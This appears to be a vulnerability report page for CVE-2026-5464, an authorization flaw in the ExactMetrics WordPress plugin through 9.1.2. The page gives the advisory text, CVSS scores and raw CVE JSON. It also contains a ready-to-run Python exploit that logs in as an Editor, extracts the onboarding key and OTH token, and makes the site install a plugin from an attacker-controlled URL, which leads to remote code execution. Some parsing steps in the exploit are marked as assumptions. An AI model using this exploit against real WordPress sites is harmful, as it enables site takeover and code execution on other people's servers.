Security Vulnerability Report
中文
CVE-2026-5464 CVSS 7.2 HIGH

CVE-2026-5464

Published: 2026-04-23 10:16:18
Last Modified: 2026-04-23 14:28:56

Description

The ExactMetrics – Google Analytics Dashboard for WordPress (Website Stats Plugin) plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation in all versions up to, and including, 9.1.2. This is due to the reports page exposing the 'onboarding_key' transient to any user with the 'exactmetrics_view_dashboard' capability. This key is the sole authorization gate for the '/wp-json/exactmetrics/v1/onboarding/connect-url' REST endpoint, which returns a one-time hash (OTH) token. This OTH token is then the only credential checked by the 'exactmetrics_connect_process' AJAX endpoint — which has no capability check, no nonce verification, and accepts an arbitrary plugin ZIP URL via the file parameter for installation and activation. This makes it possible for authenticated attackers, with Editor-level access and above granted the report viewing permission, to install and activate arbitrary plugins from attacker-controlled URLs, leading to Remote Code Execution.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ExactMetrics – Google Analytics Dashboard for WordPress <= 9.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests import re # Target configuration target_url = "http://target-wordpress.com" login_url = f"{target_url}/wp-login.php" admin_url = f"{target_url}/wp-admin/admin.php?page=exactmetrics_reports" malicious_plugin_url = "http://attacker-server.com/malicious-plugin.zip" # Attacker credentials (Editor role with 'exactmetrics_view_dashboard' capability) username = "editor" password = "password" session = requests.Session() # Step 1: Authenticate print("[*] Logging in...") data = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_url} session.post(login_url, data=data) # Step 2: Get 'onboarding_key' from reports page print("[*] Fetching onboarding_key...") response = session.get(admin_url) # Assuming the key is embedded in JS or HTML var match = re.search(r'"onboarding_key":"([a-zA-Z0-9]+)"', response.text) if not match: print("[-] Could not find onboarding_key") exit(1) onboarding_key = match.group(1) print(f"[+] Found onboarding_key: {onboarding_key}") # Step 3: Get OTH token via REST API print("[*] Requesting OTH token...") api_url = f"{target_url}/wp-json/exactmetrics/v1/onboarding/connect-url" params = {'key': onboarding_key} response = session.get(api_url, params=params) oth_token = response.json().get('oth') # Assuming JSON response print(f"[+] Got OTH token: {oth_token}") # Step 4: Install malicious plugin via AJAX print("[*] Triggering plugin installation...") ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'exactmetrics_connect_process', 'oth': oth_token, 'file': malicious_plugin_url, 'type': 'plugin' } response = session.post(ajax_url, data=payload) print(f"[+] Response: {response.text}") print("[*] Exploit completed. Check if the malicious plugin is active.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5464", "sourceIdentifier": "[email protected]", "published": "2026-04-23T10:16:18.077", "lastModified": "2026-04-23T14:28:55.557", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ExactMetrics – Google Analytics Dashboard for WordPress (Website Stats Plugin) plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation in all versions up to, and including, 9.1.2. This is due to the reports page exposing the 'onboarding_key' transient to any user with the 'exactmetrics_view_dashboard' capability. This key is the sole authorization gate for the '/wp-json/exactmetrics/v1/onboarding/connect-url' REST endpoint, which returns a one-time hash (OTH) token. This OTH token is then the only credential checked by the 'exactmetrics_connect_process' AJAX endpoint — which has no capability check, no nonce verification, and accepts an arbitrary plugin ZIP URL via the file parameter for installation and activation. This makes it possible for authenticated attackers, with Editor-level access and above granted the report viewing permission, to install and activate arbitrary plugins from attacker-controlled URLs, leading to Remote Code Execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/google-analytics-dashboard-for-wp/tags/9.1.1/includes/admin/admin-assets.php#L932", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-analytics-dashboard-for-wp/tags/9.1.1/includes/admin/class-exactmetrics-onboarding.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-analytics-dashboard-for-wp/tags/9.1.1/includes/connect.php#L219", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-analytics-dashboard-for-wp/tags/9.1.1/includes/connect.php#L27", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/09127277-9e71-484d-b674-52af693c995b?source=cve", "source": "[email protected]"}]}}